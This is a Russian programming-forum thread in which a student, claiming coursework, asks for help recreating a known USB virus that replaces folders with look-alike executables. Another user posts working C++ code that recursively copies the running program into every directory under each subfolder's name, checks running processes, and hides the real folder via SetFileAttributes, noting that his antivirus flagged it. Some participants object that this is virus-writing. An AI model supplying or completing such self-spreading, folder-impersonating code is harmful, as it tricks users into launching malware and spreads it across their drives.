Форум программистов, компьютерный форум CyberForum.ru

Переименовать и скрыть папку, программно. - C++

Восстановить пароль Регистрация
 
 
Рейтинг: Рейтинг темы: голосов - 29, средняя оценка - 4.83
IIIa66uMEM6eP
заставил Бендера
 Аватар для IIIa66uMEM6eP
432 / 288 / 10
Регистрация: 05.12.2010
Сообщений: 1,642
Записей в блоге: 6
18.05.2011, 17:41     Переименовать и скрыть папку, программно. #1
Здравствуйте. Есть курсач(к УК не имеет отношения), часть написана, часть до реализовать.

Сама задача: файл(exe) должен скопировать себя во все директории вложенных папок, делать это срыто. - эта часть реализована. Остается сделать так, что бы при копировании в вложенную директорию, если в ней есть какая либо папка(папки) изменила свое имя на такое же какое имя у папки, и скрыла ту папку. В общем создастся некая замена папки на exe не видимой для пользователя (иконки у exe и папки одинаковые - уже реализовано).

Что прошу: как изменить имя exe на имя папки, как скрыть эту вложенную папку.
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
IIIa66uMEM6eP
заставил Бендера
 Аватар для IIIa66uMEM6eP
432 / 288 / 10
Регистрация: 05.12.2010
Сообщений: 1,642
Записей в блоге: 6
18.05.2011, 21:13  [ТС]     Переименовать и скрыть папку, программно. #21
kravam, я уж и сам запутался..
Цитата Сообщение от kravam Посмотреть сообщение
файл должен иметь имя папки в которой он находится
нет не так.. должна быть подмена, ехе появляется папка скрывается.
Несколько лет назад был в интернетах вирус. вот мне его же функционал нужно повторить.

Не по теме:

так как копирую, кину текст в офф топ:
Вирус подменяет папки на ехе файлы с иконками, что удивительно, ни через проводник (со включ. скрытыми и системными файлами), ни Тотал не показывают оригинальные папки. В свойствах 1Гб флешки - показывает реальный размер 500 метров, а если выделить все файлы на флешке - не более 100 кб. Антивирус Езет не реагирует, если два раза кликнуть на ехешниках то открывается содержимое, но я думаю так запускается вирус.

После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
kravam
быдлокодер
 Аватар для kravam
1513 / 873 / 44
Регистрация: 04.06.2008
Сообщений: 5,265
18.05.2011, 21:27     Переименовать и скрыть папку, программно. #22
Так, ясно, ещё вопрос. Допустим, имеется папка "papka" и в ней папка papka_0 и файл papka_0.exe

Теперь ситуация: запускается программа suriv.exe, работает с папкой "papka" и в ней наблюдает эту картину. Вопрос: должен ли suriv.exe создавать в папке "papka" свою копию с именем papka_0.exe, учитывая, что в ней уже НАХОДИТСЯ файл papka_0.exe?

То есть просто: должен ли suriv.exe подменять собой уже имеющийся файл (не папку! С ней-то всё ясно- просто скрывать!)
Что я могу:
1) Проверить для каждой папке наличие "рядом" экзешников с таким же именем. Если они есть- просто их не подменять собой и всё. Или:
2)Подменить файл- ну, как подменить. Опять же, я могу проверить, не существует ли в системе ПРОЦЕССОВ с таким же именем. То есть, нахожу папку papka_0, нахожу рядом файл papka_0.exe. Далее ищу процесс papka_0.exe. Если не нахожу- файл подменяется. Если нахожу- ничё не делаю.

То есть если есть процесс process.exe удалить или заменить файл process.exe я не умею. Надеюсь, пока не умею.
IIIa66uMEM6eP
заставил Бендера
 Аватар для IIIa66uMEM6eP
432 / 288 / 10
Регистрация: 05.12.2010
Сообщений: 1,642
Записей в блоге: 6
18.05.2011, 21:36  [ТС]     Переименовать и скрыть папку, программно. #23
Цитата Сообщение от kravam Посмотреть сообщение
должен ли suriv.exe подменять собой уже имеющийся файл
ну да.. должен.
Цитата Сообщение от kravam Посмотреть сообщение
Что я могу:
ну нужно было собственно, это - изменить имя exe на имя папки, скрыть эту папку
kravam
быдлокодер
 Аватар для kravam
1513 / 873 / 44
Регистрация: 04.06.2008
Сообщений: 5,265
18.05.2011, 21:41     Переименовать и скрыть папку, программно. #24
Я понял, я хочу сказать, что если есть файл pr.exe и процесс pr.exe (его ведь может и не быть), то я файл pr.exe подменить НЕ СМОГУ
Чё делать будем?
jonson
18.05.2011, 21:45
  #25

Не по теме:

Встречал я как-то такое творение, но работал этот вирус несколько по другому:
При запуске этого вирус.ехе, он копировал себя во все директории по всем папкам. Постоянно переименувуя себя в имя той папки куда "втуляется", при этом его значок с виду как папка. Но он ничего не скрывал и не подменял, просто распространял себя повсюду и всё.

IIIa66uMEM6eP
заставил Бендера
 Аватар для IIIa66uMEM6eP
432 / 288 / 10
Регистрация: 05.12.2010
Сообщений: 1,642
Записей в блоге: 6
18.05.2011, 21:54  [ТС]     Переименовать и скрыть папку, программно. #26
Цитата Сообщение от kravam Посмотреть сообщение
Чё делать будем?
ну явно не переводится на другую специальность)) давайте попробуем не создавать папки с именами процессов, и преподавателю говорить не будем что есть такой касяк, а если заметит - спрошу как исправить

Добавлено через 44 секунды
jonson, вот и преподаватель встретил) я теперь реализую
kravam
быдлокодер
 Аватар для kravam
1513 / 873 / 44
Регистрация: 04.06.2008
Сообщений: 5,265
18.05.2011, 21:59     Переименовать и скрыть папку, программно. #27
Ладно, за работу. Кстати, ребята, по большому счёту тут ничего вирьного нет. Ничего не запрещает проге распространять себя и давать себе имена какие вздумается. Не вижу также ничего такого, на что бы мог ругнуться антивирь в программном изменении атрибутов файлов.

Вирь это когда устанавливается соединение с узлом в инете. Вот это вирь.
IIIa66uMEM6eP
заставил Бендера
 Аватар для IIIa66uMEM6eP
432 / 288 / 10
Регистрация: 05.12.2010
Сообщений: 1,642
Записей в блоге: 6
18.05.2011, 22:12  [ТС]     Переименовать и скрыть папку, программно. #28
kravam, ну у виря основное качество распространение.. естественно все команды достаточно просты и не паляться,
я вам в личку кстати отправил код первой части - может пригодится..

Не по теме:

Цитата Сообщение от kravam Посмотреть сообщение
Вирь это когда устанавливается соединение с узлом в инете. Вот это вирь.
это уже интернет вирь)

kravam
быдлокодер
 Аватар для kravam
1513 / 873 / 44
Регистрация: 04.06.2008
Сообщений: 5,265
19.05.2011, 02:24     Переименовать и скрыть папку, программно. #29
Код вообще охренительный, некоего Юры (кстати, он ошибся в исходнике), рекурсивно проходит по папкам и выводит чё надо, я его каждый раз под свои нужды шлифую просто и всё, цепляю чё мне надо. Не очень читаемый, зато функциональный.

Короче разбирайся, тут много отладочной инфы и вообще аппендициты могут быть, если чё говори, я её уберу. Имя папки, думаю, разберёшься куда пихать. Если чё спрашивай. Компилятор g++ (IDE DEV C++)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
//Код не мой, а некоего Юры, я его шлифанул
#include <windows.h>
#include <Winbase.h>
#include <stdio.h>
//Здесь определена структура PROCESSENTRY32 и функция CreateToolhelp32Snapshot
#include <tlhelp32.h>
 
long int rez= 0;
 
void GetFileList(LPTSTR sPath);
 
//Это вот будет имя текущего процесса 
char* ima_modula;
char temp [MAX_PATH];
 
int main(){
 
 
//        char sPath[MAX_PATH]= "E:\\vso_moio\\Программирование_на_C++";
//        char sPath[MAX_PATH]= "E:";
//        char sPath[MAX_PATH]= "E:\\vso_moio";
//       char sPath[MAX_PATH]= "E:\\vso_moio\\Программирование_на_C++";
//        char sPath[MAX_PATH]= "E:\\vso_moio\\Программирование_на_C++\\3_third";
        char sPath[MAX_PATH]= "E:\\vso_moio\\www";
 
 
 
 //Сразу найдём имя текущего процесса
 GetModuleFileName (0, temp, MAX_PATH);
 ima_modula= &temp[strlen(temp)];
 while (*ima_modula!='\\')
  ima_modula--;
 ima_modula++; 
 
        GetFileList(sPath);
      printf("rez= %d\n", rez);
 
//Портит всё дело: Если перенаправлять в файл с консоли, то полуачается, что в консол ведут 
//запись два разных потока- тот,который нужент и этот,который записывает "Для продлжения //нажмите любую
//клавишу" и эта надпись вклинивается в серёдку и портит всё дело
//  system ("PAUSE");
 
}
 
 
//Эта функция проверяет, есть ли рядом с папкой "ima_papki" экзешники с тем же именем
bool est_ili_net_fail (char* ima_papki, char* put_k_etoi_papke) {
 char temp_ima_papki [MAX_PATH]; 
 strcpy (temp_ima_papki, ima_papki);
 strcat (temp_ima_papki, ".exe");
        
 char ima_ekzeshnika [MAX_PATH];
 strcpy (ima_ekzeshnika, put_k_etoi_papke);
 strcat (ima_ekzeshnika, "*.exe");
 
 CharToOem(temp_ima_papki,temp_ima_papki);
 printf("%s\n",temp_ima_papki);
 OemToChar(temp_ima_papki,temp_ima_papki);
 
 CharToOem(ima_ekzeshnika,ima_ekzeshnika);
 printf("%s\n",ima_ekzeshnika);
 OemToChar(ima_ekzeshnika,ima_ekzeshnika);
 
 WIN32_FIND_DATA FindFileData;
 HANDLE hf;
 hf = FindFirstFile(ima_ekzeshnika,&FindFileData);
 if(hf != INVALID_HANDLE_VALUE){
   do{
    if (!(strcmp (temp_ima_papki, FindFileData.cFileName))) 
      return true;                       
   }
   while(FindNextFile(hf,&FindFileData) != 0);
   FindClose(hf);
 }
 return false;
}
 
//Эта функция принимает полное имя того, где находится папка
//а вторй параметр это полное имя папки и возвращает полное имя того, где папка находится
char* gde_mi_nahodimsa (char* zdes_mi_nahodimsa, char* put) {
 strcpy (zdes_mi_nahodimsa, put);
 char* temp= zdes_mi_nahodimsa+ strlen(zdes_mi_nahodimsa)- 2;
 while (*temp!='\\')
  temp--;
  *++temp= 0;
 return zdes_mi_nahodimsa;
}
 
 
//Эта функция проверяет, есть ли в системе процесс с заданным именем, имя передано
//в функцию параметром, если есть, вернёт истину, если нет,  то ложь
bool spisokProcessa (char* ima_papki)  {
 HANDLE hProcessSnap;
 PROCESSENTRY32 pe32;
 
 char temp_ima_papki [MAX_PATH]; 
 strcpy (temp_ima_papki, ima_papki);
 strcat (temp_ima_papki, ".exe");
 
 //Это мы находим дескриптор снимка процессов
 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
 if (hProcessSnap == INVALID_HANDLE_VALUE)
 return false;
 pe32.dwSize = sizeof(PROCESSENTRY32);
 
 while (Process32Next(hProcessSnap, &pe32)) {
  if (!(strcmp (temp_ima_papki,pe32.szExeFile)))
   return true;
 } 
 CloseHandle(hProcessSnap);
 return false;
}
 
 
 
 
void GetFileList(LPTSTR sPath) {
 
 char zdes_mi_nahodimsa [MAX_PATH];
 char novoe_ima_ekzeshnika [MAX_PATH];
 
 WIN32_FIND_DATA pFILEDATA;
 
 HANDLE hFile = FindFirstFile(strcat(sPath,"\\*.*"),&pFILEDATA);
 
//!!!!!!!!!!!!!!!!!!!!!!!!!!!!Необходимо именно здесь прописывать длину пути!!!!!!!!!!!!!!!!!!!!!!!
 sPath[strlen(sPath) - strlen(strstr(sPath,"*.*"))] = '\0';
//Если пропишем после if (как предлагает Юра), то тогда, если вдруг натыкаемся на системную директорию
// или файл, то FindFirstFile возвращает -1. Следовательно, всё, что выплнняется по условию
//(hFile!=INVALID_HANDLE_VALUE) не выолнится и в частности, не будет поставлен конец строки!
//А это значит, что по выходу из  рекурсивной функции GetFileList в том месте, где мы восстанавливаем
//Длину, она будет восстановлена неправильно
 if (hFile!=INVALID_HANDLE_VALUE)    {
  char * chBuf;
  //sPath[strlen(sPath) - strlen(strstr(sPath,"*.*"))] = '\0';
  do {
   //Пропускаем . и ..
   if (strlen(pFILEDATA.cFileName) == 1 &&  strchr(pFILEDATA.cFileName,'.') !=NULL)
    if (FindNextFile(hFile,&pFILEDATA) == 0)
      break;
   if (strlen(pFILEDATA.cFileName) == 2 && strstr(pFILEDATA.cFileName,"..") !=NULL)
    if(FindNextFile(hFile,&pFILEDATA) == 0)
      break;
     //Если нашли директорию, запускаем поиск в ней рекурсивный поиск
   if(pFILEDATA.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
//     GetFileList(strcat(sPath,pFILEDATA.cFileName), sExt, sEXT);
     GetFileList(strcat(sPath,pFILEDATA.cFileName));
      
      //Вот в этом месте мы должны запустить функцию, которая бы 
      //возаращала true, если "рядом" существует экзешник с именем sPath
      //и false если такого имени нет
      //но для этого сперва надо разобраться- а где, собсно, мы находимся? 
      gde_mi_nahodimsa (zdes_mi_nahodimsa, sPath);      
      
      //Отлично, теперь посмотрим, есть ли "рядом" файлы с именем, что и 
      //рассматриваемая нами папка
      if (est_ili_net_fail (pFILEDATA.cFileName, zdes_mi_nahodimsa)) {
       CharToOem(pFILEDATA.cFileName,pFILEDATA.cFileName);
       printf ("etot fail    %s.exe\n",pFILEDATA.cFileName);
       getchar (); 
       OemToChar(pFILEDATA.cFileName,pFILEDATA.cFileName);
 
       //Итак, такой файл есть и мы вывели его имя. Что ж, щас надо посмотреть, есть ли процесс
       //в системе с таким именем. Если есть- ничё не делаем, если нет- переименовываем файл
       if (!(spisokProcessa(pFILEDATA.cFileName))){
        CopyFile (temp,strcat((strcat((strcpy (novoe_ima_ekzeshnika, zdes_mi_nahodimsa)),pFILEDATA.cFileName)),".exe") , false); 
         //А тут надо скрыть папку с именем pFILEDATA.cFileName               
         //Как я не знаю       
       } 
      }      
      else {
       CopyFile (temp,strcat((strcat((strcpy (novoe_ima_ekzeshnika, zdes_mi_nahodimsa)),pFILEDATA.cFileName)),".exe") , false); 
       getchar ();
         //А тут надо скрыть папку с именем pFILEDATA.cFileName               
         //Как я не знаю       
      }
      CharToOem(pFILEDATA.cFileName,pFILEDATA.cFileName);
      printf("%s\n",pFILEDATA.cFileName);
      OemToChar(pFILEDATA.cFileName,pFILEDATA.cFileName);
      CharToOem(sPath,sPath);
      printf("%s\n",sPath);
      OemToChar(sPath,sPath);
      CharToOem(zdes_mi_nahodimsa,zdes_mi_nahodimsa);
      printf("%s\n\n\n",zdes_mi_nahodimsa);
      OemToChar(zdes_mi_nahodimsa,zdes_mi_nahodimsa);
      rez++;
//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!оБЯЗАТЕЛЬН востанавливать дллину пути................................     
     sPath[strlen(sPath) - strlen(pFILEDATA.cFileName)- 1] = '\0';
   }
   else {
   }
  }
  while (FindNextFile(hFile,&pFILEDATA));
 }
}
Добавлено через 5 минут
прикинь чё, антивирь ругнулся на эту прогу

Добавлено через 4 минуты
пришлось исключения добавлять. Зато работает вроде...

Добавлено через 10 минут
короче чует моё сердце накличем мы беду на свою голову с этой темой.
IIIa66uMEM6eP
заставил Бендера
 Аватар для IIIa66uMEM6eP
432 / 288 / 10
Регистрация: 05.12.2010
Сообщений: 1,642
Записей в блоге: 6
19.05.2011, 13:38  [ТС]     Переименовать и скрыть папку, программно. #30
Цитата Сообщение от kravam Посмотреть сообщение
короче чует моё сердце накличем мы беду на свою голову с этой темой.
все вполне легально, пока мы это тестируем на своих компьютерах.. да и целью не стояло совершать деструктивные действия..
ну что ж попробуем разобратся в этом юрином коде..

Добавлено через 5 часов 27 минут
kravam, В общем остается проблема скрытия папки, что ж подождем еще мнений
kravam
быдлокодер
 Аватар для kravam
1513 / 873 / 44
Регистрация: 04.06.2008
Сообщений: 5,265
19.05.2011, 15:50     Переименовать и скрыть папку, программно. #31
C++
1
2
3
4
   //Кстати, можно папку скрыть
      SetFileAttributes (sPath, FILE_ATTRIBUTE_HIDDEN);
      
      gde_mi_nahodimsa (zdes_mi_nahodimsa, sPath);
IIIa66uMEM6eP
заставил Бендера
 Аватар для IIIa66uMEM6eP
432 / 288 / 10
Регистрация: 05.12.2010
Сообщений: 1,642
Записей в блоге: 6
19.05.2011, 15:55  [ТС]     Переименовать и скрыть папку, программно. #32
kravam, ага вижу.. так) теперь все это будем в батник загонять))
PB
Просто прогер
1276 / 1063 / 11
Регистрация: 13.03.2009
Сообщений: 2,502
19.05.2011, 17:55     Переименовать и скрыть папку, программно. #33
Цитата Сообщение от IIIa66uMEM6eP Посмотреть сообщение
вирус.. это тема курсового
Где же это учат писать вурисоподобные программы?
Нужно пожаловаться на это заведение в соответствующие службы и преподов быстро поменяют на долее адекватных!

PS.
Я думаю что вы все сейчас помогаете ТС тупо создать вирус и не для курсового....
IIIa66uMEM6eP
заставил Бендера
 Аватар для IIIa66uMEM6eP
432 / 288 / 10
Регистрация: 05.12.2010
Сообщений: 1,642
Записей в блоге: 6
19.05.2011, 18:03  [ТС]     Переименовать и скрыть папку, программно. #34
PB, если настаиваете вышлю электронный вариант отчета по курсовому.

Цитата Сообщение от PB Посмотреть сообщение
учат писать вурисоподобные программы
не кто нас не учит.. учат нас циклам, масивам, динамическим структурам и прочей программной всячине (на Pascal), лично я решил програмить на С++ и ни че, хвалят..

Цитата Сообщение от PB Посмотреть сообщение
Нужно пожаловаться на это заведение
всегда пожалуйста..

Цитата Сообщение от PB Посмотреть сообщение
преподов быстро поменяют на долее адекватных
а это наврятле.. тем курсовых было достаточно много, и выбирая между сапером и тетрисом я выбрал эту тему..

Цитата Сообщение от PB Посмотреть сообщение
PS.
Я думаю что вы все сейчас помогаете ТС тупо создать вирус и не для курсового....

Не по теме:

спасибо за помощь kravam

jonson
19.05.2011, 18:04
  #35

Не по теме:

Цитата Сообщение от PB Посмотреть сообщение
Я думаю что вы все сейчас помогаете ТС тупо создать вирус и не для курсового....
А Вы думаете что кто-то поверил автору про курсовой, оччччень сомневаюсь.

MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
19.05.2011, 18:08     Переименовать и скрыть папку, программно.
Еще ссылки по теме:

C++ Как переименовать файлы в папке
C++ Как переименовать файл
C++ Как переименовать проект в codeblocks

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
IIIa66uMEM6eP
заставил Бендера
 Аватар для IIIa66uMEM6eP
432 / 288 / 10
Регистрация: 05.12.2010
Сообщений: 1,642
Записей в блоге: 6
19.05.2011, 18:08  [ТС]     Переименовать и скрыть папку, программно. #36
jonson, ну вы смешные) да есть куча форумов - вроде хакера, где на подобном собаку съели и ни чуть не презирают, а обратился я именно на кибер форум - потому как курсач вредоносных действий не несет.

Не по теме:

собственно, если у нас копирование файла из папки в папку это вирус, то извените..

Yandex
Объявления
19.05.2011, 18:08     Переименовать и скрыть папку, программно.
Ответ Создать тему
Опции темы

Текущее время: 04:03. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru